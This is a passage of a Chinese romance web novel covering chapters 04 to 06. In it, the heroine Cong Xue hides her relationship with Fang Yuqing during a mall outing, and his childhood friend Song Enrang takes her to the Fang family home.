毕竟他们之间也不是什么浪漫温情的关系。
方屿青要陪她出门,丛雪一时竟不知道该去哪里。
她愣了片刻,想到什么,呆呆地问:“上次那个创意市集……还在吗?”
4. 04
小长假第一天,购物中心人头攒动。
冷气如锋利的小刀,丝丝缕缕地割着皮肤,丛雪忍不住搓了搓胳膊。
方屿青瞥一眼她的动作:“冷?”
丛雪赶紧摇头。
方屿青朝四周看了看,很自然地抬起手,将她揽进怀里。
这个动作有点温情,和商场里那些勾肩搭背的小情侣没有什么区别。
丛雪一顿,看到他自然到理所当然的神态,不动声色地从他怀里退出来一些。
这里毕竟是南城,碰到熟人的概率高。
在公共场合,她不敢靠他太近。
方屿青却没在意她的僵硬,目光锁定了一家女装品牌的门店,抬脚走了进去。
丛雪愣了一下,急忙跟上。
这家店铺位于购物中心一层,是某个国际大牌的轻奢线子品牌。
方屿青走进去,目光浅浅一扫,不等店员开口,就指着一件暖白色的衬衫说:“麻烦找一件她的尺码。”
衣服递到丛雪手中,触手光滑柔润,面料轻软又透气。
款式乍看不起眼,可细节无一不精致,满是设计的巧思。
丛雪偷瞄了一眼吊牌上的价格,冲方屿青使劲摇头。
方屿青却仿佛没看到她的暗示,直接去柜台付了钱,还让店员把吊牌拆了。
他将衣服递给她:“先穿着吧。”
他就这么随手买了件衣服送她,临时穿穿,全然没当回事。
在他眼里,这甚至都称不上是一份“礼物”。
价格却抵得上丛雪两年的学费。
丛雪抱着衣服,动作有些迟疑,在方屿青不容拒绝的目光下,还是缓缓穿上了身,他的神色才多了几分柔和。
“走,先吃饭。”他语气淡淡的。
高档衣料摩擦着丛雪的肌肤,柔软又熨帖,像是把她包裹进一团陌生的温柔里。
丛雪的心思有点乱——她不想方屿青破费,不想显得贪心,可她到底也只是个二十出头的女孩。
因为一件礼物,心里像藏了一把开水壶,咕嘟嘟地冒着开心的气泡。
甜得像被烫到。
丛雪所说的创意市集,是指南城大学学生自办的那种露天市场,可方屿青却误会了,以为她想逛街。
节假日期间交通管制,小市集开不了,他便直接带着她来了南城最繁华的商业中心。
反正都是逛,逛哪儿不一样。
正好到了饭点,丛雪只得硬着头皮,跟着他进了商场顶楼的一家餐厅。
这里的菜单又厚又硬,每一道菜的图片都单独印一页,像是生怕人看不清楚细节。
丛雪瞅着页面上的价格,直犯头晕,小声对方屿青嘀咕:“这里太贵了,我们去吃麦当劳好不好?”
“晚上去吃。”
方屿青翻着菜单,唇角忍不住翘起。
他有时候觉得,丛雪就像个小孩子,总是喜欢那种小孩才喜欢的东西。
以前,丛雪每次回南城,他去火车站接她,十次有九次她都在车站前的麦当劳里坐着,面前摆着一杯朱古力新地。
后来方屿青甚至养成了习惯,一停车就先去麦当劳,提前买好冰激凌,再去出站口接人。
如果不是实在有事脱不开身的话。
他将甜品单递给丛雪:“看看,想吃什么随便点。”
这儿一个冰激凌可以买十个麦旋风。
丛雪不知道该点什么,遂采取尿遁大法,说要去洗手间。
“我陪你。”
方屿青合上菜单,也跟着站起来。
“……我自己可以。”
怎么能让他陪她上厕所!
“你能找得到地方?”
方屿青挑眼看着她,似笑非笑。
路痴本人有点脸红:“我可以问服务员……”
餐厅里没有单独的卫生间,丛雪问了一路,终于摸去了商场拐角的那间。
这家商场连洗手间都富丽堂皇,飘散着令人头晕的香薰味。
丛雪走进隔间,刚关上门,就听到外面进来两个女孩子,其中一人高声抱怨道:“这小长假真是无聊透了!没局可去,也没有男人陪!”
“怎么,有我陪着你,还嫌不够?”
丛雪听到这声音,浑身一激灵,立刻贴在门缝上往外看。
一身张扬的束腰小皮裙,金链小包在身侧松散地挎着,长发打着卷披在肩上。
许久不见,那张明艳的脸仍旧美得光彩夺目。
丛雪想起昨天在邱晗手机上看到的那张剧照,其实不如她本人好看。
宋恩让环着胳膊,姿态懒洋洋的,不耐烦地催促:“你要上就上,麻利点。”
“好嘞!”
朋友进了隔间,以为这里没有其他人,还继续同宋恩让聊着天。
“我就罢了,你这好好的假期,怎么还落单了?方屿青不陪你啊?”
“你怎么跟我妈似的,唠叨个没完。”
宋恩让无聊地对着镜子拨了拨头发。
“我怎么就唠叨了,你俩这对金童玉女我都磕好几年了,能不能快点修成正果!”
宋恩让撇撇嘴,哼了一声。
“我上次见到阿姨,她还说起这事呢,说想让你早点结婚生孩子,这样身材恢复得快,也不影响事业。”
宋恩让没接话,对着镜子,看不清表情。
可丛雪直觉地感到——她不高兴了。
她的朋友却丝毫没有嗅到空气中的不快。上完厕所出来,又顺嘴聊起了别的。
两个人的声音渐行渐远,丛雪这才抬起冰凉的手,推开了隔间的门。
她失魂落魄地往回走,脚底像灌了铅,步子重逾千斤。
一抬头,竟不是原来的路。
这家商场太大了,丛雪想不起来那家餐厅叫什么,问了好几个人,才辗转地找回来。
步伐忍不住变快,她不想让方屿青等太久。
好不容易看到了餐厅暖黄的灯光,丛雪心中一喜,却在刚刚迈入的瞬间,猛地停住了脚步。
隔着几张桌子,她看到她的位置上……坐了一个人。
那人手肘支在桌面上,正在同方屿青说话。
神色生动,姿态自然得仿佛那张椅子本来就属于她。
是宋恩让。
丛雪看到那件新买的衬衣被宋恩让随手搭在椅背上。
她一边讲着话,一边轻轻揉捏着衬衣上的扣子。
宋恩让以前就有这习惯,说话的时候,手上总喜欢摆弄点什么。
有时是自己的衣摆,有时是课本的页脚,配上她生动的表情,会让人觉得这个习惯可爱又迷人。
学校里甚至还曾掀起过一阵模仿宋恩让说话的浪潮,被男生们私下调侃是“东施效颦”。
方屿青就坐在对面,丛雪看不清楚他的脸,只能看到那只骨节分明的手随意搭在杯沿,似乎在静静聆听,没有任何赶她走的意思。
丛雪愣在原地,脑子像被一阵风刮空了,几秒后,突然掉头就跑。
逃也似的,脚步飞快。
心中只有一个声音:她得离开,不能让宋恩让看见。
她没觉察到自己连指尖都在发颤,脸颊滚烫,像是被火烤过。
脑子一团混乱,只有尽快消失的念头,完全顾不上去想方屿青是否还在等着她。
也许,他忘了是跟她一起出来的最好。
丛雪太过慌张了,没留意到前路,一头撞到了对面的人。
那人被她撞得猝不及防,竟一屁股坐到了地上。
“对不起!你,你还好吧?”
丛雪手忙脚乱地将人扶起来。
那人满口“哎呦哎呦”的,似乎伤得不轻。
还没彻底站稳呢,忽然一愣,声音里带着惊喜:“丛雪?”
丛雪定睛一看,竟然是她昨天才认识的那位圆脸姑娘,邱晗。
这南城也太小了点吧。
邱晗没想到会再次碰见丛雪,连疼都忘了,扯着嗓门喊道:“好巧啊,你也来吃饭吗?和昨天那个朋友一起?”
她声音不小,一句话回荡在坐了没几个人的餐厅里,十分抓耳。
丛雪心里突地一跳,想制止已经来不及。
余光里,宋恩让已经看见她了。
她缓缓从座位上站起身,朝她们的方向走过来。
“丛雪?”
宋恩让亲昵地拍了拍她的肩膀,笑容是偶遇熟人的惊喜。
“好久没见了……有三年了?不对,是毕业之后就没见过了。”
丛雪的心脏在宋恩让靠近的瞬间紧缩成一团,满脑子都是无路可逃的绝望,连喉咙都在发抖。
羞耻心推着一抹水光涌进她的眼底,丛雪颤着嗓子回应:“……嗨,好巧。”
邱晗已经看呆了。
她竟然见到了宋恩让本人!
而且,看她和丛雪之间的互动,原来她们之前就认识?
邱晗一双星星眼,自来熟地跟宋恩让打起招呼:“你好啊,我叫邱晗,也是南城大学的,一直很喜欢你,是你的粉丝!”
说着,立刻就要掏纸出来问她要签名。
回去怎么着也能吹嘘自己见到了校花兼未来大明星本人。
宋恩让被她的样子逗乐:“快别提什么粉丝了,大家都是一个学校的同学,抬头不见低头见的。”
她又转向丛雪,笑容甜美:“难得碰见,要不要坐下一起吃顿饭?你朋友也一起来吧。正巧,今天屿青也在。”
不等丛雪回答,邱晗已经小鸡啄米般狠狠点头——乖乖,能认识这对校园风云情侣,这顿饭吃得太值了!
就这样,四个人围着一张桌子坐了下来,宋恩让又叫服务生加了几道菜。
她坐在方屿青对面,就是丛雪原本的位置。
而邱晗乍然见到方屿青,愣是被帅得什么话也说不出来了,自觉地坐在了他的斜对角。
丛雪没得选,只好在方屿青身旁的位置坐下。
方屿青扭头看
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她一眼,语气漫不经心:“怎么这么久?”
这话一出,整张桌子安静了一瞬。
丛雪下意识朝宋恩让的方向看去。
和洗手间里那个冷傲的宋恩让不同,自从出现在这里,她脸上的笑容就没断过。
此刻,宋恩让也在看她,目光含笑,却多了几分不动声色的审视。
就像是在打量一个许久不见的老同学,又像在看一个……不小心闯错场合的外人。
“嗯……这菜上得是挺久。”
丛雪慢吞吞回应着,故意曲解他的意思。
还好,服务生已经端着托盘走过来,将对话打断。
丛雪劫后余生般吐出一口气。
菜品很快摆满了桌子。
邱晗本就是个热闹的性格,在饭桌上有讲不完的话。
她想跟宋恩让套近乎,盛情邀请她作为嘉宾去参加她们文学院的毕业活动。
宋恩让但笑不语,没直接答应,转而伸手一指方屿青面前的烤鸡翅:“屿青,我要吃那个。”
邱晗到嘴的话全被堵了回去。
方屿青扫她一眼,语气懒懒:“你没手?”
宋恩让却丝毫不介意他的冷淡,骂得理直气壮:“方屿青,当着外人的面,你绅士一点会死啊!”
声音娇滴滴的,带着熟络的娇憨。
“吃我的鸡翅,小心烫嘴。”
“方屿青,你多大人了,怎么还跟小时候一样幼稚!”
“成年人都会自己夹鸡翅。”
“我偏不!我今天就要你给我夹!”
……
他们竟这样旁若无人地斗起了嘴,你来我往,别人根本插不进去。
方屿青嘴上拒绝着,最终却还是不情不愿地夹起那枚鸡翅,丢进宋恩让的碟子里。
宋恩让抿唇,笑得甜滋滋。
邱晗吃了满满一嘴狗粮,转头看对面低头吃饭的丛雪,却见她神色平静,像是什么都没听见。
丛雪是真的不惊讶。
从高中起,类似的场景她见过太多次了。
只要宋恩让开口,方屿青再冷淡,也会为她破例。
他谁的面子都懒得给,唯独对宋恩让,哪怕嘴上说得再难听,行动上也不会拒绝,能做的皆会做到。
学校里永远流传着他们两人的绯闻,丛雪是深信不疑的。
她很早就听人说,判断一个男人的爱意,不是听他说什么,而是看他怎么做。
方屿青对宋恩让那近乎纵容的耐心,就这一点,丛雪便认定,他们终究会在一起的。
她其实从未嫉妒过宋恩让。
只是偶尔,很偶尔的,在某些瞬间,她会幻想,如果方屿青对她也有这样的耐心,那会是一种什么样的感觉呢?
丛雪一边想,一边埋头吃饭,也不知道塞进嘴里的是什么,又干又涩。
胃像突然打了死结,怎么也咽不下。
她只能机械地嚼着,把食物一点点逼着吞下去。
“诶,你慢点吃——”
邱晗看她那样子,还有什么不明白。
丛雪昨天特意来报告厅看方屿青,自然是芳心暗许的,如今遇到小情侣,还旁观了这样一出恩爱大戏,心里肯定不会痛快。
邱晗给她递杯子:“来,喝点水。”
水杯却在盘子边缘磕碰了一下,杯子顷刻间翻倒,温水溅出,毫无预警地朝着丛雪泼了过去。
丛雪一怔,低头看,身上的布料已经湿透了。
“哎呀,瞧我这手!”
邱晗慌了神,无措地道歉:“我不是故意的,对不起对不起——”
丛雪今天穿得不多,薄薄一层衣服被水浸湿,贴在身上。
不用看也知道,里面的东西也影影绰绰透出来了。
她觉得尴尬,想要起身——
“别动。”
一道低沉的男声插进来。
方屿青一把按住她的胳膊,抽了几张纸巾,微微俯身。
他动作不算急,却也不迟疑,抬手按住了丛雪衣服上那一片湿痕,轻轻按压纸巾,一点点吸干水迹。
他神情淡淡的,动作很轻、也很自然,好像一点也没察觉到这种行为里透出的亲密感。
丛雪整个人都僵住了。
喉咙像被水呛住,眼睫止不住地颤。
“我……我自己来。”
她声音发虚,按住他的手腕往外推。
方屿青微微蹙眉:“去换上那件?”
目光看向宋恩让身后搭着的白衬衫。
桌上一瞬间安静得出奇。
宋恩让盯着两个人看了好几秒,唇角万年不变的笑意像是冻住了。
原来这件衬衫是丛雪的。
原来,他们今天本就在一起,先后被她偶遇到了而已。
过了好一会儿,宋恩让那冰封的笑容才重新扯了扯,语调不咸不淡,听上去仍是轻松的:“真不巧,衣服被我压皱了。等吃完饭,我再陪丛雪买一件新的去。”
5. 05
丛雪不喜欢逛街。
以前是没有多余的钱去买任何生存必需品之外的东西,现在自己打工赚生活费,偶尔有些余钱,也要贴补给学业,或是存下来。
她很少买新衣服,几年来所有的添置,都是趁着来南城见方屿青之际,买来稍稍打扮一下自己。
但数量也有限,她的衣服加起来,连寝室里那个单薄的衣柜都塞不满。
而且……
丛雪看着购物中心气派的装修,这里也不是她能消费的地方。
一听说宋恩让要逛商场,邱晗也巴巴地凑上来,说自己下午没事,可以陪逛加拎包。
方屿青要先一步回学校处理点事情,临走之前,递过来一张信用卡。
丛雪和他离得有些距离,不太确定这张卡是不是递给自己,一时有些踟蹰。
倒是宋恩让自然而然地接过来,拿在手里晃了晃:“谢了,我们会好好花的。”
方屿青走后,宋恩让倒真是挽着丛雪的胳膊,一层一层逛得仔细。
她对每个牌子都如数家珍,一边逛,一边给自己挑选起衣服来。
“这件好看吗?”
她亲昵地拉过丛雪的手,小声问:“你说,屿青会喜欢我穿这个款式吗?”
丛雪手很凉,脸却热得不敢抬起,硬撑着点头:“……你穿什么都好看。”
宋恩让笑了,推着丛雪的肩膀,要她帮她去试穿。
“我今天这妆容、这发型,蹭到衣服上怎么办,你就帮我试试呗。”
她笑得人畜无害。
丛雪默了默,还是依她说的,去试衣间换衣服。
丛雪皮肤白净,五官虽不惊艳,却也不张扬,是那种越看越舒服的类型。脸和头发都干净清爽,没有刻意打理,像是初夏枝头最安静的一抹绿。
宋恩让的视线从衣服往上移,落到丛雪脸上。
高中的时候,她还觉得丛雪其貌不扬,虽然成绩不错,但一直安静得像空气,没什么存在感。仿佛把自己藏进一个与世隔绝的壳里,不与人亲近,也不期盼他人靠近。
若不是她曾借住在方家,又若不是……
宋恩让大概一辈子也记不住她的名字。
几年不见,她倒是愈发清水出芙蓉了,像一汪没有杂质的甘泉,叫人不由自主多看一眼。
以前看不上的,如今倒有些看不透了。
宋恩让疑惑,那件事之后,她怎么还能跟方屿青走得近呢……
的确是有些本事,倒是她小瞧了人。
宋恩让垂下眼,面上不显,心里却微微生出不悦。
她随手指着丛雪换上的第N套衣服:“就这件吧。”
说着,叫来柜姐:“这件我朋友要了,刷卡。”
丛雪没想到这衣服竟是买给自己的,连忙阻止:“我有衣服穿的,就不麻烦……”
宋恩让却笑了:“说好了陪你买衣服的,这件很衬你。”
何况,丛雪试穿过的,她才不要。
丛雪原本的衣服湿了,被宋恩让强行安排着,换上了这件新买的衣服。
丛雪自己的衣服多是淡色,白、米、浅灰之类。
穿在身上,在人群中不会太显眼,让她感觉到安全。
可身上这套小香风裙装是水粉色的,宋恩让穿倒是合适,到了自己身上,怎么看怎么别扭。
丛雪耐着性子想,先暂时穿一穿,等回去就换下来。
逛完商场,宋恩让又请两人吃了甜品。
她长相姣好,出手大方,很难不让人喜欢。
邱晗咬着小蛋糕,偷偷对丛雪说:“宋恩让人好好哦!完了,我这下真要成她粉丝了。”
之前说是粉丝,也只是客气话而已。
丛雪望着宋恩让漂亮的背影。
她还像以前一样,总是很轻易就能赢得他人的好感。
最后,是宋恩让亲自开车,将邱晗送到能直达南城大学的地铁站。
“抱歉啊,”宋恩让坐在驾驶座,落下车窗,一脸的过意不去,“我这边突然有点急事,不能送你回学校了。”
邱晗瞥一眼副驾座上沉默不语的丛雪,有点犹豫。
不知道为什么,她不太想把丛雪单独留给宋恩让。
虽然她们昨天才认识,比不得人家高中同学熟络才是。
宋恩让柔声解释:“小雪难得回一趟南城,我奉命带她回去,见见长辈。”
邱晗张了张嘴,心里更加惊讶了。
她们竟然还有这层关系?
*
宋恩让的车子里弥漫着高级香水的味道,少女心的摆件挂得到处都是。
她姿态舒展地把着方向盘,一边开车,一边斜眼瞧丛雪。
“跟我一起,你很紧张?”
丛雪虚虚握着安全带,定定地望着中控台上咧嘴大笑的招财猫:“……怎么会呢。”
“我觉得你有。”
宋恩让撩了撩头发,红唇微弯,有种浑不在意的潇洒。
“要不是今天才碰面,还以为你背着我,做了什么亏心事呢。”
丛雪一个激灵,四肢变得僵硬。
她当然有做亏心事。
现在没有旁人,宋恩让身上那股甜腻腻的劲儿散了,重新露出娇狂的本色。
这姿态令丛雪想起高中的时候,十八岁的宋恩让穿得像个漂亮的小公主,五官美得惊心动魄,眼神却冰冷如霜。
她斜斜靠着墙,葱白手指戳了一下面前人的额头。
那个女孩子被戳得后退一步,仍旧低着头,不敢看她。
“过来。”宋恩让露齿而笑。
女生几乎要哭出来:“对不起……我,我再也不敢了……我不知道……不知道……”
宋恩让漫不经心地打量着自己新做的指甲:“不知道什么?”
“不知道方屿青……不能追……”
女孩抿了抿唇,下定决心一般:“我发誓,再也不会给方屿青送情书了!以后就算碰见,也会绕着他走……”
宋恩让掀起眼皮,凌厉的目光里含着一丝笑。
丛雪躲在走廊转角后面,被那笑容晃得起了一身鸡皮疙瘩。
良久,宋恩让漂亮的唇形微启:“我的就是我的,无论我要不要,都轮不到别人碰。”
……
丛雪恍惚觉得,她从躲在走廊后面偷看的人,变成了站在事故现场、被宋恩让审讯的那一个。
手心里浸出汗意,她捏紧手指,僵硬地转动脖颈,干巴巴地解释:“今天真的只是凑巧。”
她唯有硬着头皮说谎。
和方屿青之间的关系,是她永远不可能说出口的秘密。
开始时悄无声息,结束也注定寂然无声。就像一场无人知晓的梦,风吹过,就彻底消失不见。
她小心翼翼把它藏在心底,不让任何人窥见半分痕迹——这样才足够安全,才不会给方屿青带来哪怕一点点麻烦。
至于哪一天梦会醒,丛雪不知道。
也许是方屿青腻了,想结束了;又或许,他终于决定和宋恩让有情人终成眷属,正如周围所有人期盼的那样。
到那时,丛雪自会离开。
她还没那么厚颜无耻。
迟早,总有一天,会把方屿青完完整整地还给宋恩让。
只是……在那一天来临之前,在他还没彻底被另一个女人占据之前,能不能,能不能让她自私一回?
丛雪只是想经常看到他。
哪怕像现在这样,掩人耳目地偷偷跑来南城,在不见天日的关系里小心地经营。
哪怕他对她只有生理上的兴趣。
这已经是丛雪能拥有的全部了。
她颤着眼睫,忐忑地瞥向宋恩让浅笑的侧脸。
——你以后,会拥有他一辈子的。在那之前,让我贪图一点点时间吧,好不好?
丛雪那样悲哀祈求的目光,被宋恩让在后视镜里精准捕捉到。
她立刻皱起了眉:“你这是什么表情?我可没欺负你啊。”
丛雪脸色一白,垂下头,指尖在膝盖上紧了紧。
“没有,我可能……有点晕车。”
对不起,她在心里默默道歉。
不要原谅我,一个懦弱不堪、自私自利的胆小鬼。
*
宋恩让的车沿着城北的半山公路行驶。
两旁的行道树遮天蔽日,车辆很少,安静雅致,像与世隔绝的
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岛屿。
丛雪看着这片熟悉的景色,眼中忧色不减。
她知道宋恩让要带她去哪儿了。
她们在一片幽静的别墅区停下。
丛雪从车上下来,看着眼前这栋漂亮的小洋楼,又感受到当年第一次来时,那种低调温和却令她望而却步的贵气。
宋恩让走在前面,歪头唤她一声:“发什么愣?走啊,又不是没来过。”
这里是方屿青的家。
进门先是一片修剪整齐的大花园,欧式格局,布置精巧,一株银杏傲然立在角落。
丛雪记得,往年一到秋天,院子里就会铺满金灿灿的落叶。
她放学回来,总是先拿起工具,把面上的落叶清理干净,才能安心去做作业。
这里不缺打扫的人,可是寄人篱下,不能当闲人。
屋内的陈设还是同几年前一样精巧雅致。
大理石长桌,真丝手工地毯,书架上摆得整整齐齐的英文原版医学书……
整个空间都透露着主人家对“整洁”和“秩序”的偏爱——沙发上的靠垫永远端正,花瓶里的百合总是开在刚刚好的状态。
丛雪记得,这个家中常年很安静。
方屿青的父母一个频繁出差,一个在医院忙碌,整日见不到人。
她初到这个家时,还十分局促不安,总是小心翼翼。但正是这个家,在她最孤立无援的时候,给了她一片善意的避风港。
此刻,楼上的起居室里传出热闹的交谈声,似乎有客人在。
宋恩让俨然主人一般,在玄关换了自己的拖鞋,又安排保姆去给丛雪找一双新的。
这保姆是前年新来的,不认识丛雪,以为是宋小姐的朋友,客气地应了。
丛雪抬头,只见几位打扮雍容的女士从楼梯上走下来。
最末的一位半围着羊绒披肩,头发梳得一丝不苟,端庄地盘在脑后,鼻梁上架着一副琥珀色细腿镜框。她皮肤很白,一双眼睛同方屿青的尤其相似,嘴角虽然笑着,那笑容却像是被什么框住了,让人感到亲和的同时,也无端觉出一丝距离感。
丛雪攥紧指尖,在心中犹豫几秒,才鼓起勇气走上前,轻声开口:“曾阿姨,好久不见。”
曾令淑看清来人,脸上惊讶一闪而过,原本客气的笑意瞬间变得真切了几分:“小雪?”
丛雪露出有些讨好的笑容:“打扰了。”
几年不见,她有点想抱一抱曾阿姨,但不太确定,她会不会觉得反感。
曾令淑上前牵起她的手,又打量着她的脸:“这么久不见,小雪真是越来越漂亮了,就是太瘦了点。”
一句简单的话,轻轻将丛雪从漂泊多年的浪里捞起来,放回她曾经熟悉的、却从未真正拥有过的岸上。
曾令淑温和地看着她:“还是第一次见你穿得这么鲜艳,这样才对,年轻就是要好好打扮。”
丛雪站在原地,不知是拘谨还是感动,手指紧紧捏着衣角,喉咙像是被什么哽住,连一句“谢谢”也没能说出口。
一道女声笑着插进来——
“这就是你收留过的那个孩子?”
丛雪抬眼,看到旁边站着一位富态的阿姨。
她身材圆润,嘴角含笑,笑意中却又隐含着一分上位者的骄矜。
宋恩让正挽着她的手臂,姿态亲昵。
这位便是宋太太了。
曾令淑点点头:“对,小雪在我这儿住过两年,特别乖巧懂事,一点也不叫人操心。以后也不知道哪家的男孩子运气好,可以把小雪娶回家。”
宋太太听到这话,转向自己的女儿,似乎很嫌弃地说:“你也学学人家,让我省点心。别整天到处乱跑,从来找不着人!”
宋恩让嘟起小嘴:“女儿哪有!”
在场的太太们都笑了。
曾令淑也笑:“你就别说她了,我家那小子还不是一样,就在本地上学,都多久没回来过了?他们俩呀不愧是从小一块长大的,这性格脾气简直一模一样,以后也不知道谁能管得住谁。”
这番话什么意思,在场的人心里都明白。
就在这时,门口突然响起保姆惊喜的呼声——
“太太,屿青回来了!”
6. 06
方屿青今天本没有打算回城北的家。
他从购物中心离开后,径直回了学校。
其他同学还在废寝忘食地编造毕业论文,他自己的早在去年就写完了。
手头在忙的是分子生物实验室的一项实验数据。
方屿青虽是本科生,却早已是实验室的学术核心成员,不仅要完成自己的研究,还负责带新人。
顾陶走出电梯的时候,刚好碰见一身白大褂护目镜的方屿青从实验室出来,恨恨地嗟叹一声。
他就没见过天资这么好还这么卷的!
方屿青没参加高考,据说是生物竞赛全国一等奖保送来的南大。
大一的时候,所有人还陷在专业课的水深火热里挣扎,他却玩一样辅修起计算机和统计学的基础课来。
别人一学期才啃得下来的东西,他几个星期就能精通,大小考试都拿捏得从容。
课上面无表情坐最后一排,看着无所事事,开口便让讲课的副教授沉默了三秒。
教授转头便把他送进了实验室。
方屿青这下真忙了起来,要用课余时间做数据建模,协助完善实验逻辑,很快便在一次全国级的生物研讨会上代表实验室进行成果展示。
一个大一新生,才思敏捷,侃侃而谈,条理清晰得吓人,一举惊艳了四座。
大二,他就能在顶级期刊上发表二作论文,震惊系里。
自那之后,方屿青便一路开挂,奖学金拿到手软,国家级的科研比赛频频获奖,高质量论文一篇接着一篇发。
顾陶都看直了眼,可方屿青本人似乎对这些没太大感觉,依旧我行我素。想研究点什么都随心所欲,导师的苦口婆心常常被抛之脑后。
智商高,不听话,加上那张俊朗又目中无人的脸,所有人都要暗骂一句:算你拽!
若不是时常还有宋恩让这么个红颜知己围着他打转,顾陶简直要怀疑方屿青不是有着七情六欲的肉.体凡胎。
……
顾陶呼出一口气,跟在方屿青身后,拍了拍他的肩膀:“放大假诶,你竟然宁愿和培养皿约会,也不陪校花?”
方屿青拂开他的手,在电脑前坐下来。
“想陪自己陪去。”
“那怎么能?兄弟妻,不可欺哇!”
方屿青赏他一记白眼:“宋恩让算什么妻。”
“说什么呢!宋恩让不算,难道昨天那个女的算?”
一句玩笑话,倒是让方屿青怔了一下。
顾陶是谁,虽然从没有谈过恋爱,却是个理论大师,曾经帮无数哥们儿参透过情感上的困惑。
他即刻便嗅到了八卦的味道,拉过一张椅子,在方屿青身旁坐下。
“说实话,你昨天看那个姑娘的眼神……啧,非常不寻常。宋恩让天天围着你转,我倒是从没见你那样看过她。”
方屿青被他缠得没法,干脆往椅背上一靠,长腿伸展,眼睫垂下来,神色淡淡的,有种任你怎么聒噪我自老僧入定的姿态。
顾陶以为他什么也不会再说了,方屿青却突然抬眉瞟他一眼:“你是不是觉得,我喜欢宋恩让?”
顾陶老实地点头。
“不奇怪。”方屿青轻飘飘一勾唇,声音很淡,语气仿佛在陈述一项无关紧要的数据,“有段时间,连我自己都这么以为。”
顾陶:“嗯。”
嗯?等一下?
这句话的信息量可太大了,顾陶简直怀疑自己的耳朵出了毛病。
当事人却神色自若,目光又重新挪回屏幕上:“就这样。”
顾陶:“……”
什么叫就这样?
丢下一枚重磅炸弹,炸得他外焦里嫩,然后拍拍屁股走人了?
顾陶一把揪住方屿青的胳膊:“不是哥们,你这什么意思?以前喜欢,现在不喜欢了?移情别恋了?方屿青,你还挺水性杨花啊!”
“……水性杨花不是这么用的。”方屿青耷拉着眼皮,懒洋洋地拍开他的手,“松开。”
“我不管,你你你不许对我女神始乱终弃!”
方屿青蹙起眉,眼神有点嫌弃:“顾陶,你好歹受过点基础教育,能不能别听风就是雨?我跟宋恩让都没在一起过,哪来的始乱终弃。”
顾陶:“……”
他好歹也是高考大省厮杀出来的佼佼者,一路奖学金风光保研,到方屿青这儿,居然成了“受了点基础教育”的人。
顾陶没好气地松开他,嘟囔了半晌,又可怜巴巴地道:“可是,宋恩让喜欢你。”
方屿青面不改色:“这我管不着。”
顾陶:“……”
嘚瑟不死你!
方屿青轻轻嗤了一声。
宋恩让整天像只蚊子似的,在他周围嗡嗡转个不停。
他又不傻,有些事心里早就明白。
他们认识很多年了,从小一起长大。
方屿青并不打算捅破这层窗户纸——犯不着,也没那个必要。
宋恩让愿意喜欢他,那就让她喜欢好了,反正也没碍着他什么事。
说不定,过阵子她自己就不喜欢了,也省得他费神应付。
他并不讨厌她。
虽然宋恩让的脾气有点乖张,偶尔情绪上头,但他觉得女孩子有点棱角也没什么不好。
遇到事情,还是会下意识让着她。
只是,如果要他回答“喜不喜欢”——
这种问题既抽象又没有意义,方屿青才懒得琢磨。
反正,“不讨厌”大概就等于“喜欢”吧。
至少,当年他确实是这么以为的。
顾陶听完,震惊得瞪大眼睛——这是什么神奇的脑回路?
鼎鼎大名的方屿青,未来的科研之星,南大有名的校草,本人竟然……是个彻头彻尾的感情白痴?
果然老天爷是公平的,让方屿青的技能都点在了智商上,情商那是一滴也没有哇。
不过,“曾经以为喜欢”背后的潜台词,即——后来发现并不是。
顾陶挑了挑眉:“就您老这感人的情商,是怎么意识到对宋校花顶多算是友情,不是男欢女爱的?”
方屿青投来复杂的一瞥,似乎别有深意,嘴上却不答了。
顾陶:“……”
老子好奇心都被你勾起来了,你丫竟然还敢卖关子!
他强撑着耐心继续问:“不聊宋恩让也行,那咱们聊聊昨天那个女孩?”
方屿青的面色却突然沉了沉,语气略有一丝凉飕飕:“你是不是没别的事干?”
顾陶撇了撇嘴,知道这是不想继续聊了。
他骂骂咧咧地从椅子上起来。
方屿青的目光重新落回到电脑屏幕上。
桌上的手机一震,有微信进来。
他随手拿起来瞟一眼,突然起身,也不管什么数据了,关了电脑就走。
顾陶:?
*
自从春节以后,方屿青就没回过家。
眼下他突然出现在自家客厅里,倒是令曾令淑感到高兴的同时,还有几分新鲜。
方屿青一进来,视线就停在角落里的丛雪身上。
她穿着一身艳粉色的小香风针织套裙,金银丝线闪耀交织着,华丽得不伦不类,一点也不像她平时的风格。
方屿青皱了皱眉,瞥了宋恩让一眼。
宋恩让心下一动,凑到他跟前说悄悄话:“丛雪说,她很喜欢我平时的穿衣风格,也想尝试一下,你觉得怎么样?”
一屋子人看着两个年轻人说小话,都会心而笑。
丛雪觉得,自己再待下去有些多余,起身走到曾令淑跟前:“阿姨,今天有点晚了,我就先告辞了。”
她自始至终,都没有往方屿青的方向看一眼。
方屿青一回来,丛雪就提出要走,照理说是有点失礼数的。可曾令淑非但没挽留,还面带欣慰,揽着她的胳膊往外走:“阿姨送送你。”
丛雪从方宅出来,沿着公路步行下山。
这里没有公共交通,她只能靠两条腿走到山下,再转乘公交车。
脑子有些乱,各种思绪纷扰着缠成一团,理不清楚。
但有一点,丛雪很确定,宋恩让必定是怀疑她和方屿青有什么,才带她来方家的。
说是过来看望曾阿姨,实则是一种变相的提醒——
即便她曾在这里生活过,她和他们,终究是两个世界的人。
最后一束日光沉入山涧,丛雪瞧着自己身上这套华丽的衣服,有些遗憾地想,那件白衬衫还是被宋恩让“不小心”留在了车里。
她用一身更贵的新衣服,调换了方屿青送给自己的礼物。
……有点舍不得。
丛雪勉力支撑了一下午,此时此刻,忽然觉得周身无比疲惫。心里泛起酸涩的难过,连呼吸都有些没力气。
一滴眼泪毫无征兆地滚落下来。
丛雪摸摸脸颊,有些不可思议。<
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就因为一件衣服吗?
还是因为……刚刚那两道并肩而立的身影,因为太过般配,令丛雪自惭形秽,好像一瞬间变回了高中那个敏感、卑微又无能为力的少女?
陈年的情绪像一张网,缚住她患得患失的心。
眼泪一颗颗流下来,被丛雪无声抹去。
——别哭了,还要攒着力气赶路呢。
一束车灯的光自远处投来,越来越近。
丛雪自觉地避到路边。
汽车经过她时却停下了。
车窗降下来,露出方屿青淡淡的眉眼。
语气若无其事:“上车。”
丛雪震惊地看着他:“你怎么出来了?”
“学校还有事情没忙完,正好捎你一程。”
她点点头,不再多问,几下把脸上的水迹抹干净,乖乖走到副驾,打开车门。
光线这么微弱,他应当看不出端倪。
可方屿青却直盯着她的脸,眉头皱起:“你哭了?”
“没,没哭。”丛雪赶紧低下头,掩饰自己的无措,“可能是昨晚没睡好,现在有点困了。”
也不知道方屿青信没信。
丛雪僵硬地垂着头,不再说话。
